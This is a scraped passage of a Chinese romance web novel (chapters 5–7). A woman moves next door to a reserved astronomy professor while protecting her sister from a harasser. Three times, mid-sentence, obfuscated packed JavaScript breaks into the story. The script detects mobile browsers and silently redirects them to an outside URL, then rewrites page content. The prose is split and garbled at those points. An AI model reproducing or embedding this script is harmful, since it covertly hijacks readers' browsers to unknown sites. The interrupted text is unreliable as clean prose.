晏迎忍住了要冲他竖中指的冲动,她微笑:“好的,季老师再见。” 晏远一直在憋笑:“姐,你总算见识到季老师的厉害了吧。” 晏迎也被气笑了,她叹了一口气:“小远,你们季老师有女朋友吗?” 晏迎真的很想知道,是谁宰相肚里能撑船,愿意去做季品诚的女朋友。 晏远想了想回答道:“没有吧,姐你看季老师不解风情那样,也不像是有女朋友的样子。” “哼,”晏迎咬牙切齿,“他如果再不正常一点,肯定会孤独终老的。” 晏远的下午第一节课在一点半就开始了,她现在已经没有宿舍了,所以她背着书包提早去教室占了第一排的位置。 她翻开课本复习了一下上节课的内容,教室里也陆陆续续来人了。 赵芸和陈茜茜是一前一后进来的,陈茜茜的目光刮过晏迎:“公主来得好早。” 赵芸也捂嘴笑:“公主学习多认真,居然提前来教室复习。” 晏迎捏住课本一角弯弯唇角:“本公主要看书了,你们退下吧。” “你还真把自己当公主了!” 晏迎觉得她们真的很烦:“那我能怎么办,不是你们一口一个公主的吗?” 季品诚站到讲台上打开电脑的时候,全班才安静下来。 晏远一向是好学生,第一排中间的位置只坐了她一个人。 她记笔记的时候也完全可以跟得上季品诚讲课的速度。 季品诚欣慰地看她一眼,脑子里却出现了晏迎的样子。 在底下坐着的,认真听他上课的,不会抽烟喝酒打架的好学生晏迎的样子。 这个想法从他的脑子里一闪而过,他在下一秒,就觉得无比荒谬。 自己想她干什么? 晏迎下午开车就去了南城大学附近看看有没有合适的租房。 她找到了几家正在出租的复式小楼房,拨打了和房东的电话约看房的时间。 每家晏迎都认真去看了,最后选定了一家最喜欢的。 价格有点小贵,可装修环境还算不错。 房子也不靠着路边,这样不会太吵,而且房子坐北朝南,主卧和次卧都有一扇很大很漂亮的落地窗。 晏迎和房东讨价还价之后还便宜了三百块钱,她就直接交钱签合同了。 把房子看好,晏迎开始搬行李和大扫除,幸好房子本身就很干净整洁,给晏迎减少了很多负担。 等到彻底收拾好,已经接近傍晚,晏迎饿得瘫在沙发上不想动。 她伸了一个懒腰坐起来,准备去附近超市买点生活用品和吃的,等妹妹下课再去南城大学接她放学一起吃晚饭。 新家的厨房不算很大但锅碗瓢盆应有尽有,而且都是新的,还没拆封过。 晏迎觉得正好,省的她自己再添置厨具了,她只需要去买点调味料和米面菜就好。 她看着打扫好的新房子有种充实感,一下午挺忙的,但她一点都不觉得麻烦。 委屈谁也不能委屈了自己和孩子。 附近的大型超市只有一家,离家倒是挺近的,就是不太好停车。 晏迎本来想步行过去,但又想到自己买的东西多,一个人肯定拿不动,还是开车方便些。 她推了一个小推车,先是到调料区把食用油酱油味精食盐白糖醋哐哐一顿拿。 然后她又拿了几捆挂面和一袋大米,就推着已经有些重的小推车去了饮品区。 家里的冰箱空空如也,晏迎喜欢打开冰箱里面堆满东西带来的那份踏实感。 她拿了几瓶健康的酸奶和纯牛奶,到了碳酸饮料区,还是手痒痒拿了两瓶可乐。 买零食的时候速度就更快了,她和妹妹不喜欢甜腻的饼干,都喜欢吃清爽的黄瓜味薯片。 晏迎花费时间最长的地方是在果蔬区,因为光是想今天晚上做什么菜,就是一个值得思考很久的问题。 在新家的第一顿,她想亲自下厨做饭给妹妹吃,虽然她厨艺并没有多精湛。 最后晏迎打算做三道家常菜再焖个米饭。 超市有三种品种的茄子,长茄、矮茄还有圆茄。 价格倒是大差不差,晏迎的目光在三种茄子之间来回游荡,犹豫了几秒之后,她把手伸向了那只矮矮胖胖的茄子。 晏迎只是觉得那只矮茄可爱,而且她也没吃过这个品种的,决定尝试一下。 苏阿姨正好也在买菜,她站在晏迎旁边拿个袋子装了三根长棒似的长茄。 她为人热情,看一眼晏迎手里的矮茄道:“小姑娘你准备怎么做茄子呀?” 晏迎回答:“阿姨我做油焖茄子呢。” “啊,做油焖茄子的话那可不能选这种矮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111847|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茄,矮茄的肉比较粗糙,一般啊都用来做烧烤。” 苏阿姨觉得晏迎长得可俊俏了,也乐意和她多说几句话,要不然天天在家里面对季品诚,她可要闷死了。 晏迎也喜欢这种热心肠一看就很和善的阿姨,她也乐意听她讲。 苏阿姨指了指圆茄和长茄:“这两种茄子都比较适合烧焖炖炸,不过圆茄会带点草腥味,你最好啊还是和阿姨一样买这种长茄。” “好,我听阿姨的。” 苏阿姨越看越喜欢晏迎,连自己做茄子的绝佳秘方也拿出来告诉她了。 “油焖茄子啊容易吸油,可以切完茄子之后撒上点盐用手抓拌均匀,腌制个十分钟,茄子失水之后就不容易进油了。” 晏迎一副特别乖的样子:“谢谢阿姨,我记住了。” 接下来晏迎又在苏阿姨的指导下买到了软硬适中外形圆润的西红柿、黑皮肉厚的冬瓜还有瓜形直立的苦瓜。 “丝瓜啊颜色越浅越嫩,豌豆的豆荚啊要选扁圆的,不要选正圆的,” “芋头沙眼越多越好,说明口感越粉糯,七个孔的是面藕,九个孔的是脆藕,颜色很白的千万不要买。” 晏迎是个很能聊天的人,苏阿姨恰好也是一个话痨,买完菜两个人就差拜把子了。 结账的时候苏阿姨还帮晏迎一起把东西搬到她的车里。 “小姑娘,你怎么买这么多东西啊?你这就差把超市搬家里了。” 晏迎喘口气回答道:“阿姨,我是在这片租房子住的,今天下午刚刚选好房搬过来,所以买的东西多了点。” “诶,”晏迎想到了什么,“阿姨你也住在这片吧,菜不如放我车上,我送你回去。” 苏阿姨也不拒绝:“行,谢谢你了姑娘。” 她坐在晏迎的副驾驶坐上,报了一个地址。 “好巧,”晏迎特别惊讶,“阿姨我今天刚租的房子就在你的隔壁,咱俩还是邻居呢。” 苏阿姨也很高兴:“要不说我们有缘呢。” “阿姨,等以后有空了你来我家玩。” “好嘞,”苏阿姨越看晏迎越喜欢,“正好我也没人说话,可惜阿姨不能邀请你去隔壁做客,隔壁这不是阿姨家,阿姨只是在隔壁主人家做保洁以及做饭。” 晏迎趁机打听隔壁邻居是什么样的人:“阿姨,那隔壁人怎么样啊,难不难相处啊?” 苏阿姨笑了:“隔壁就住着一个男人,年纪肯定要比你大点,要说难相处吗,也不太好相处...” “哎呀,反正你这种活泼开朗的小姑娘肯定和那种沉默寡言的聊不来。” 隔壁只住一个人,年纪比自己大,不太好相处,性格沉默寡言。 晏迎的脑子里已经构建出一个古怪老头子的形象。 苏阿姨继续和晏迎吐槽:“隔壁家主人还有洁癖,不喜欢外人随随便便到房子里来,在他家的卫生打扫标准可高了,堪比无菌实验室。” “而且他还有强迫症,连喝水吃药都只喝三十五摄氏度的温水。” 晏迎大惊失色:“这不纯有病嘛,阿姨你怎么忍受得了的?” 一个有毛病的古怪老头子。 苏阿姨乐呵一笑:“没办法,薪水开的高啊,全南城也找不出第二个这么高的了。” 晏迎皱眉:“这种奇葩要求给我再多钱我也不干,阿姨他一个月给你开多少?” 苏阿姨报了一个数字。 晏迎简直要怀疑自己是不是出现幻觉了:“不儿,阿姨,这么高啊,隔壁还招保洁吗,我也想去应聘!” 一个有钱的有毛病的古怪老头子。 苏阿姨摇头:“你这么年轻干什么保洁啊,我和你说你别看人家有钱,还不如咱没钱的过得舒服呢。” 晏迎决定以后没事在家门口蹲蹲点,看一看那个古怪老头子到底长什么样。 她在心里构建着他的形象,坐着轮椅,穿的一丝不苟,秃头,神情威严得和西方教堂里的神父一样。 5. 05 晏远下课的时候,给姐姐打了电话。 她一个人站在校门外等姐姐的车来,低头看手机的功夫,一辆车就停在了她面前。 是一辆白色的敞篷跑车,非常拉风,吸引了来来往往很多人的目光。 驾驶坐上的年轻男人冲晏远吹了一声口哨:“远远,你要去哪里,我送你去。” 晏远现在见到他这张脸就觉得犯恶心,她抓紧了自己书包的肩带,忍住了要骂他的冲动:“不用,张浩,你离我远点。” 张浩笑了:“我还没你牵过手呢,哪里舍得离你远点,远远你上车,我带你去玩好玩的。” 晏远不理会他,一直往前走,可是她每向前一步,张浩就把车往前开一点。 他就像是阴魂不散的恶魔,笑嘻嘻地凝视着她。 “远远,你不会真的以为你姐找我爸爸有什么用吧,亲爱的宝贝你别天真了,你当初中生早恋被抓呢找个家长就有用了?” 晏远很想拿书包当武器砸他脑袋,但真要打起来,自己也不是他的对手。 张浩还在试图“感化”她:“远远你怎么就那么想不开,我有的是钱,你要是做我女朋友,我让你直接保研成为我爸的研究生,虽然以你的家庭我不可能娶你,但我绝对不会亏待你的。” 张浩话音刚落,就觉得有辆车撞上了自己的车尾,不是特别重的碰撞,但也让他一个踉跄头重重磕在了方向盘上。 张浩捂着自己的额头,气得重重锤了一下方向盘,他爆了一句粗口,猛地推开车门骂道:“眼瞎啊,就这么直接撞上来了?” 晏迎没有下车,只是按下车窗对晏远道:“小远,上车回家吃饭。” 就在晏远快速上车的那几秒里,张浩和晏迎对视。 依他的暴脾气,他绝对是要再骂几句的,不可能就这么轻易地让晏迎离开这里。 但他现在像是个哑炮一样,熄火了。 晏迎很美,她冷着脸看人的时候,美却退而求其次成为了第二感觉。 第一感觉是狠。 一种让张浩觉得,他要是再轻举妄动,她真的会直接撞在自己身上的狠。 他的疼痛和怒气混合在一起汇聚成冲动,可一触碰到晏迎冰冷的眼神,就被短暂浇灭了。 晏迎沉默地开车,晏远也没有说话。 车内安静了差不多七八分钟之后,晏迎打开了车载音响,播放了一首舒缓的轻音乐。 她开口:“以后姐姐下班了会开车带你回家,你要是没课了就去学校图书馆自己写作业看书,别乱跑。” “好,姐姐。”晏远连忙点头答应。 晏迎觉得自己心跳在加速,总有种不安弥漫在心头:“小远,你自己多注意安全,有事随时打电话给姐姐。” “放心吧姐姐,我的手机里你一直都是我唯一的紧急联系人。” 晏迎最讨厌啰嗦,但自己碰上晏远的事情又忍不住多说几句:“小远,学校里面相对安全些,但是你也尽量在人多的公共场合,不要走小路,不要在没人的地方逗留。” 晏远握紧自己的手:“嗯,姐姐说的话我都记住了。” “姐,”晏远心里其实很难受,“我都这么大的人了,还总是给姐姐添麻烦,让姐姐单位、家还有学校三头跑,都是我的错......” 晏迎摇头笑了:“不,小远,这怎么可能是你的错呢?” 她的声音像是从春天的和煦退回到冬天的寒冷:“都是那个死缠烂打的混蛋的错。” 晏远叹了一口气:“姐,幸好现在已经是大三了,再熬一年就大四出去实习了,可能那个时候就可以彻底摆脱他了。” 晏迎皱眉:“但愿如此吧,就怕他一直像是狗皮膏药一样缠着。” “什么都没有自己的安全重要。” “嗯好。” 晏远倒在汽车靠垫上,声音有气无力:“姐,你说我只是拒绝一个我不喜欢,而且还造谣我的坏人,为什么好多人批判的却是我?” “赵芸、陈茜茜还有好多其他同学,尤其是我们班那帮男生,都觉得是我清高不知好歹。” “姐姐你知道吗,我们班有的男生甚至说,想替我成为女的去和张浩在一起,不用考研直接保研,研究生毕业之后和张浩研究生孩子去,一辈子荣华富贵不愁。” “还有我们老师,我告诉他们张浩造我谣,他们居然一致认为是我不知检点。” “在没有和你打电话之前,姐姐我还想着我已经是成年人了,要自己努力解决问题,可是我去找张峰,他却连办公室的门都没有让我进。” 晏远开始笑,笑着笑着就小声地抽泣。 这几天她一直在压抑自己的委屈,现在,在车内沉闷的空间里,她终于流下了褪去麻木之后的眼泪。 晏迎没有劝她坚强,也没有让她不要哭。 她觉得遇到这样的事情,能哭着发泄出来,反而是好事。 她给妹妹递去擦眼泪的纸巾,任由妹妹放肆地哭泣。 在妹妹抑制不住的抽泣里,晏迎的一颗心,反而冷静下来。 她想起小时候姐妹两个相依为命,寒冬的惊雷天里,她在被窝里头拍着妹妹的背,在她耳边讲老掉牙的童话故事。 故事里所有的人都历经磨难,永远幸福地生活在了一起。 那会妹妹问她:“姐姐,这些都是真的吗?” 她回答:“嗯,是真的,就像是到了春天天气就会变暖和,长大之后我们就能过上好日子了。” “所以小远要好好吃饭好好睡觉,这样就能快点长大了。” 现在她们都长大了,虚假的童话故事不攻自破。 长大之后的世界并不完美,反而充满艰险、丑恶与无法预料的灾难。 “小远。”晏迎开口,她的声音很温柔也很坚定。 “人性总是善于屈从财富、地位和权利,在他们眼里,你拒绝了一条他们想走的捷径,所以他们才会指责你批判你。” “你有一天会承受不住压力屈服吗?” “当然不会!”晏远的声音还有一点哭腔,但是坚定有力。 “那你想过去走这条捷径吗?” “从来没有。” 在等红灯几十秒空隙里,晏迎侧头和她对视:“这就够了,小远,你能坚持自己的答案这就够了。” “姐姐都不觉得这是什么捷径,因为依靠别人而得到的荣耀、幸福和地位,终会有一天被轻而易举地收回。” 晏迎不再祝福晏远“快快长大”。 她望向妹妹湿漉漉的眼睛,好像从里面看见童年时代里,未曾落干净的雨。 她伸手,抹去残留在妹妹面颊上的“雨滴”。 “小远小远,快快变强。” “强到自己一个人可以站在更高的地方,去走更远的路。” 红灯跳转成绿灯,晏迎听到了晏远的回答。 “我想强大到,以后不需要姐姐保护我,我来保护姐姐。” 晏迎笑了:“好啊!姐姐也特别期待小远公主以后会变成小远女王。” 新家很快就到了,姐妹俩下车的时候还遇到了出门倒垃圾的苏阿姨。 苏阿姨笑嘻嘻地问晏迎:“回来啦,这个就是你妹妹吧?” “对,这是我妹妹。”提到晏远,晏迎的语气总是自豪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111848|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 “苏阿姨好。”晏远乖巧地打招呼。 苏阿姨把目光看向晏远,笑道:“老天爷,怎么姐姐和妹妹都有那么漂亮的脸。” 寒暄完几句之后,晏迎就把备用钥匙放在了晏远的手掌心里。 钥匙上还挂着一个可爱的草莓熊挂件,晏迎冲妹妹眨眨眼睛:“开门吧,小远公主,看看新家喜不喜欢。” 晏远打开门,露出惊喜的神色:“哇姐,这个比我们之前住的还要大诶,而且装修好温馨。” “嗯,我觉得这里离你学校近,而且周围玩的地方也多,所以就选这里了。” 晏远有点担心:“姐,这里会不会离你公司有点远?” “没事儿,”晏迎示意她别担心,“也就多了开车一刻钟的时间而已。” 晏远嗅了嗅鼻子,居然没有闻到糊味,还有排骨的香味。 “姐,厨房里有什么好吃的,怎么这么香!” “端菜吧,”晏迎语气得意,“今天你姐姐我亲自下厨。” 其实就是三个很简单的家常菜,油焖茄子、番茄炒鸡蛋、莲藕排骨汤。 卖相一般,看上去能吃。 晏远吃得狼吞虎咽,几乎要喜极而泣:“今天吃到姐姐做的菜,有一种特别奇妙的感觉!” “什么感觉?”晏迎还挺好奇的。 “如听仙乐耳暂明,如尝珍馐味暂醒。”晏远闭着眼睛品味嘴里的味道。 晏迎吃着有点咸的番茄炒鸡蛋,感叹道:“好妹妹,这只能说明你真的饿了。” 饭吃到一半晏远才有闲情逸致去问姐姐:“姐,刚刚门口的苏阿姨是我们的邻居吗?” “嗯,苏阿姨在隔壁的房子里做保洁,人还蛮热情健谈的,但隔壁房子的主人是个特别奇怪的人。” 晏远的身体忍不住倾向姐姐,心里有点发毛:“有多奇怪啊?” 晏迎把苏阿姨的吐槽一五一十告诉了妹妹。 晏远咬着筷子得出评价:“姐你以后出门路过隔壁当心点,别里面有变态。” “嗯,我也这么觉得,”晏迎点头,“以后路过隔壁是得注意点。” 与此同时,季品诚在南城大学的办公室里打了一个喷嚏。 他揉揉自己的鼻子,觉得自己今天衣服没有穿少,也没受凉,应该不具备感冒的形成条件,怎么就打喷嚏了呢。 他没有继续去想这个不重要的问题,而是低头看向电脑屏幕忙完最后一点工作。 办公室里的人陆陆续续收拾东西下班,只留下他和张峰两个人。 张峰慢悠悠关掉电脑收拾东西,目光投向了专心致志的季品诚。 他其实打心眼里是看不上瞧不起季品诚的,觉得他年轻,又不懂人情世故,光是纯靠学术哪能真正混出个名堂。 他偶尔也会嫉妒季品诚,那么年轻却和自己一个职称,聪明确实是聪明,天赋这种事真的比不来。 “季教授。”张峰冲季品诚的办公桌走进几步。 在他季品诚的世界里,他在忙的时候是不希望有人来打扰他的。 他也不会放下手头的事情去接待别人。 季品诚没有从电脑里抬头,只是飞快地对张峰说了三个字:“怎么了。” 张峰做小领导做习惯了,在天文学院里,季品诚是唯一一个敢这么和他说话的。 张峰对季品诚翻了一个白眼,季品诚用余光看见了。 他不生气,他只是觉得张峰很莫名其妙。 接下来,张峰问出了一个让他觉得更加莫名其妙的问题。 “季老师,你和那女的什么关系?今天在食堂里还替她说话。” 6. 06 季品诚把这个问题归类到了“极度无聊”这个分类。 他从电脑里抬头,和张峰对视一眼,眼里不加掩饰的诧异几乎要隔着眼镜镜片跳出来。 他觉得张峰今天肯定吃错药了,为这个问题浪费他看文献的时间。 季品诚一字一句地回答:“我和她没有什么关系。” 季品诚皱着眉头继续看文献,就差把“你很烦”这三个字写在脸上了。 “而且我也没有在食堂替她说话,我只是在陈述事实,那个位置本来别人也可以坐,我只是一个人坐在那里坐习惯了而已。” 如果别人对张峰这个态度,张峰早就拍着桌子炸起来了。 但对季品诚这种油盐不进,有事论事,从来不拐弯抹角的人来说,张峰有一种一拳头打在棉花上的感觉。 “季教授,既然你和她没关系那你就不能帮她说话,你得帮着我们同事啊,我和其他老师中午都想着赶她走,让她把位置让给你。” 季品诚在脑子里把张峰那一堆废话的逻辑整理了一下,然后他看完文献的最后三行一边关电脑一边回答张峰。 “第一,我再申明一次,我没有帮她说话,我只是在陈述事实。” “第二,我不需要你们在这种很无聊的事情上帮助我,这是你们的一厢情愿,我没有一定要报答的义务。” “第三,请不要道德绑架我,谢谢。” 说完这些,季品诚就开始收拾东西准备下班。 张峰愣在原地,气不打一处来,却没有离开,而是继续“循循善诱”想要“感化”季品诚这块顽石。 “季教授,虽然我们两个职称是一样的,但是我年纪比你大,比你有资历,你还是得听我说两句。” 季品诚收拾东西的速度更快了,他看都不想看张峰一眼。 张峰越讲越来劲,继续喋喋不休:“小季,你要是再这样我行我素下去,得罪了人都不知道,以后有你好果子吃,等吃到苦果,你哭都来不及。” 换做学院里的其他老师肯定都可以一下子听出张峰话里的弦外之音。 那就是,你要是再这样我行我素下去,我就彻底被你得罪了,以后我会给你好果子吃,等你吃到我给你的苦果,你想要后悔都晚了。 季品诚的脑子全部都用在学术上了,他不肯分一点脑细胞去理解这种他觉得十分无聊且没有营养的话。 他看向张峰,表情很认真也很严肃。 张峰以为他是有所觉悟了,刚想再说些什么,季品诚笑了一下。 这笑给张峰整得有点不知所措,他皱眉:“小季,你笑什么?” 季品诚别过自己的眼睛不去看他,像是不愿去看什么很恶心的东西。 “张教授,你的牙齿上有根韭菜没剃干净,说话也很有味道,我有点难受,先走了,再见。” 季品诚拿起电脑包说走就走,挥一挥衣袖,不带走一点云彩儿。 张峰一个人愣在原地,只觉得心里堵的慌。 他很想破口大骂季品诚,但为人师表的教授风度又让他只能气急败坏地忍耐着。 张峰最后一个关灯,路过季品诚办公桌的时候还踢了他的椅子一脚,走之前他重重地把办公室的门关了起来。 季品诚回家的时候,苏阿姨在熬银耳莲子汤。 他恰好晚饭没吃什么,就没有拒绝苏阿姨给他盛一碗的邀请。 季品诚关照苏阿姨:“苏姨,记得帮我多放点糖,谢谢。” “好嘞,季教授不用你说我也知道,你喜欢吃甜口的。” 苏阿姨给季品诚盛好一碗之后,又用两个一次性饭盒装了打包好。 季品诚好奇:“苏姨你要带到哪里去吃吗?”如果是明天吃的话,苏阿姨会装在瓷碗里。 “不是,我是给新邻居装好,一会送过去。” 季品诚点点头:“隔壁房子现在住人了吗?” “嗯,是被一个小姑娘租了下来,她带着她妹妹一起住的。” 话说到这里,苏阿姨才反应过来,她看向季品诚:“那小姑娘是陪她妹妹走读的,她妹妹是大学生,这附近最近的大学不就是南城大学吗?” “哎呀,要真的是这样,还挺有缘的,说不定季教授你也认识呢。” 季品诚笑了笑,认真道:“苏姨,南城大学那么多学生呢,我哪能每个都认识,除非是我教的学生。” 苏阿姨拿着打包好的银耳莲子汤点头:“也是,哪能这么巧,既住你隔壁还是你教过的学生,中彩票也没这几率。” 苏阿姨敲门的时间晏迎还没有睡,她给苏阿姨开了门。 银耳莲子汤还是滚烫地送到她的手里。 晏迎穿着睡袍只披了一件针织外套,在晚上的冷风里很冷,可接过热乎乎的银耳莲子汤的时候,晏迎觉得那股暖流从手掌心传递到了全身。 苏阿姨笑着对晏迎说:“快回去吧,晚上冷别感冒了,汤里阿姨没有放糖,如果喜欢吃甜的自己加啊。” 晏迎吸了吸鼻子连忙点头:“诶,好,谢谢苏阿姨。” “不客气不客气,”苏阿姨冲晏迎摆摆手,“快回去吧,别冻着了。” 晏迎拿着银耳莲子汤回家,晏远刚刚吹完头发出来。 “姐,你点外卖啦?” “不是,是隔壁苏阿姨送来的,她做了银耳莲子汤。” 晏远在姐姐身边坐下,望着那两碗银耳莲子汤笑道:“我记得以前妈妈在的时候也喜欢做这个汤,那会我有蛀牙不能吃太甜的,却还一个劲地往里面加糖,被好一顿说。” “是啊,有人一边牙疼得斯哈直哭一边往里面可劲放白砂糖,不被胖揍才怪呢。” 晏远弯弯眉眼:“那会我还和妈妈说,糖能止疼,妈妈都被我气笑了。” 晏迎打开打包盒的盖子,一股热气腾腾的清香扑鼻而来。 她去厨房洗了两个勺子:“一起尝尝看吧,看看有没有记忆里的味道。” 自从父母去世以后,晏迎和晏远就没有再喝过银耳莲子汤。 毕竟双亲都已经去世,世界上又有谁能对她们“怜子”呢? 姐妹俩都没有放很多糖,她们沉默地品尝。 晏远低头:“姐姐,苏阿姨做的很好喝,但是隔了这么久,我其实已经忘记妈妈做的是什么味道了。” “我也是,”晏迎放下了勺子,觉得莲子的苦从舌尖一点点蔓延到了心尖,“爸妈去世的时候我们还小,爸妈的模样,我都有点模糊了。” “妈妈好像是长头发,很爱笑,有酒窝,可惜我没有遗传到,小远你很幸运,长得像妈妈,笑起来的时候酒窝最动人。” 晏远倒在了晏迎的怀抱里:“姐姐你应该长得像爸爸多一点,爸爸很高,所以姐姐也高挑。” “对。”晏迎的声音都有点沉醉了,仿佛刚刚喝的不是银耳莲子汤,而是旧时光里的烈酒。“你长得像妈妈,五官更温柔甜美,我像爸爸,更英气些。” “姐,今年过年我们回一趟老家吧,去看看爸妈,也去看看婶婶。” 晏迎摸摸妹妹枕在她腿上的头:“好。” 喝完银耳莲子汤姐妹俩就互道晚安回了各自的房间,晏远累了一天,尽管明天是周六不用去学校里上课,她也没有熬夜,而是一沾枕头就睡着了。 晏迎也不想熬夜,因为她有坚持晨跑的好习惯,每天早上起床喝完一杯黑咖啡都会去外面跑会步,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111849|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后快速洗个澡吃个早点就开车上班。 可今天她却忽然有点睡不着了,她躺在柔软的床上,脑子里把这两天在南城大学里发生的事情走马观花似得放了一遍。 最后定格在她脑子里的,是季品诚一本正经的脸。 那张始终冷静的眼睛是一块冒着寒气的冰,让她火力全开的这两天,得到了一抹不同寻常的宁静。 晏迎觉得季品诚这人吧,还怪有意思的。 想到这里她又望向自己放在书桌上的烟盒和打火机,她洗完澡的时候来阳台上已经抽过一支烟了。 以前也有男人劝过她不要抽烟,但是他们的说辞和季品诚完全不一样。 他们说的是:“抽烟是男人的事情。” 那会晏迎比现在还要年轻冲动,她淡定吐出一口烟圈,笑着回复:“闭嘴才是男人的事情。” 晏迎烟瘾其实不大,一天也就两支。 她自己也知道多抽不好,所以有意克制。 她也从来不在晏远面前抽烟,尽管晏远对她抽烟这件事情并没有什么意见。 人一想得太多就开始犯困了,晏迎揉揉自己下沉的眼皮子,睡着了。 也许是日有所思夜有所梦吧,她的梦乱得像是一锅沸腾的粥。 梦里她在暴打张峰和张浩,她打得特别狠,像是小时候玩打地鼠一样。 一转头,季品诚站在她的身后,面无表情地看着她。 晏迎活动了一下筋骨,大声朝他问道:“怎么?你要来救他们吗?” 季品诚推了一下鼻梁上的银框眼镜,朝晏迎微笑:“你打的都不是关键部位,来,我指导你。” 于是在梦中,他们两个人有了第一次触碰。 季品诚握住她的手,在她耳边轻声道:“看好了,要打这里。” 躺在地上的张峰颤抖地指了指季品诚的脸:“你们两个都是恶魔。” 季品诚的呢喃在她耳边响起:“我们让他看看,什么才是真正的恶魔。” 梦醒过来的时候,天才刚蒙蒙亮。 晏迎醒得比定的闹钟还要早,她坐在床上发呆,回味那个特别离谱的梦。 她觉得自己真的是遇到鬼了才会做这么离谱的梦。 她打开解梦软件,输入“梦见和讨厌的人打架是什么预兆?” 网页上的回答倒很让晏迎满意,“是求财好运之预兆。” 晏迎伸了一个懒腰,准备洗漱一下换上运动服就开始晨跑。 季品诚下楼的时候苏阿姨已经在准备早餐了。 她给自己做的早饭很简单,就是皮蛋瘦肉粥加一个白煮蛋。 季品诚吃得则复杂一点,是西葫芦鸡蛋饼、水煮虾仁、橄榄油煎蛋、小番茄蓝莓还有一杯现磨黑咖啡。 苏阿姨系着围裙冲季品诚打了一个招呼:“季教授,做好了我就先吃了,你的那份等你跑完步回来吃” “好,辛苦了苏姨。” “季教授,现在天气越来越冷了,你怎么还穿短袖跑步啊?” “没事,我习惯了,跑步过程中代谢加速身体也会消耗能量产生热量的。” 苏阿姨听不懂他叽里咕噜一大堆:“行行行,只要季教授你不感冒就好。” 季品诚开门的时候,隔壁的门也被推开了。 穿着粉红色运动装的晏迎哼着小曲,等她看到季品诚的时候,刚刚还欢快的旋律戛然而止。 “季老师!!!”晏迎睁大双眼,“我隔壁那个怪...人怪好的邻居居然是你啊。” 季品诚的右手还停留在门把手上,他也想不通怎么到哪里都可以遇见她。 他嘴角僵硬地冲晏迎露出一个微笑:“是挺巧的。” 7. 07 等绕着小区跑了三圈之后季品诚终于忍不住了。 他停下脚步看着晏迎:“你为什么要和我一起跑步?” 晏迎“嘶”了一声,她满眼透着不解、疑惑和无辜,她停下来喘口气回答季品诚的问题。 “季老师,你有没有搞错啊?谁和你一起跑步了?这条路又不是你家建的,你在这里跑,我就得换地方跑了?” 季品诚被她的话噎住,他确实没办法反驳她话里的逻辑,他张了张嘴,只好又把话都咽了下去。 晏迎笑了,像是提前预料到了他的反应,她眉眼的笑意被季品诚一下子就捕捉到了。 季品诚知道她就是故意的。 但是他并不擅长和人辩论,以及季品诚并不觉得自己说得过晏迎。 季品诚转身自己跑自己的,晏迎小跑跟了上去。 两个人沉默地并肩跑步,气氛有一丢丢的尴尬。 晏迎偷偷瞄季品诚一眼,季品诚没什么表情。 她弯弯唇角又再瞄一眼,这次,那双墨玉一样的眼睛和她对视了。 里面的眼神像是在询问“你到底要干什么?” 晏迎有点心虚,随口说了句废话缓解气氛:“季老师,你家真住我隔壁啊?” “嗯。”虽然觉得她这话是废话中的废话,季品诚还是回答了。 “嘿嘿,”晏迎干笑一声,“没想到这么巧,季老师...” 她话还没说完,就被冷风狠狠呛了一下。 晏迎停下脚步,弯腰捂住嘴不停地咳嗽。 这是季品诚摆脱她的最好时机,晏迎已经做好了抬头就见不到他人影的心理准备。 她顺顺心口,再次抬头时,却发现他仍然站在自己面前。 季品诚替她挡住风口,低头对上了她的目光。 “跑步的时候不要说话,会出现气道高反应,冷空气和灰尘会刺激你的气道引发咳嗽。” 晏迎觉得自己嗓子口有点疼,连带着声音也有点哑:“我不是气道高反应,我是有轻微的运动性哮喘,不做剧烈运动就好,刚刚可能是说话太急了。” 季品诚皱眉,意识到自己刚刚跑得有点快,她也许是为了跟上自己,所以跑步速度比平时快了很多。 “不跑了,我们休息一会,慢走两圈帮助心率恢复吧。” 晏迎挑眉:“季老师你这是在照顾我吗?” 季品诚平静地和她对视:“我是怕你哮喘犯了一会倒地不起我还要送你去医院。” “季品诚!”晏迎瞪他一眼,“大清早的你能不能和我说点吉利的,不许咒我!” 她刚刚没喊他“季老师”,而是喊他“季品诚”。 这种连名带姓的感觉让季品诚莫名其妙有点舒服,好久没人这么连名带姓的喊过她了,尤其她还是一副有点生气的表情。 季品诚笑了一声:“看来没什么太大的问题,说话的中气很足。” 慢走的这两圈晏迎也不再多话了,因为嗓子一直痛痛的,她也没有带水喝。 她的安静倒是让季品诚有点不适应,因为好像认识她的所有瞬间,她都是热烈、勇敢、大胆和吵吵闹闹的。 这个想法冒出来的时候,季品诚很快按捺了下去。 晏迎偏过头小声地咳嗽几下,他才想起来,她不说话的缘故可能是需要喝点水。 “想喝水吗?”季品诚直接问道。 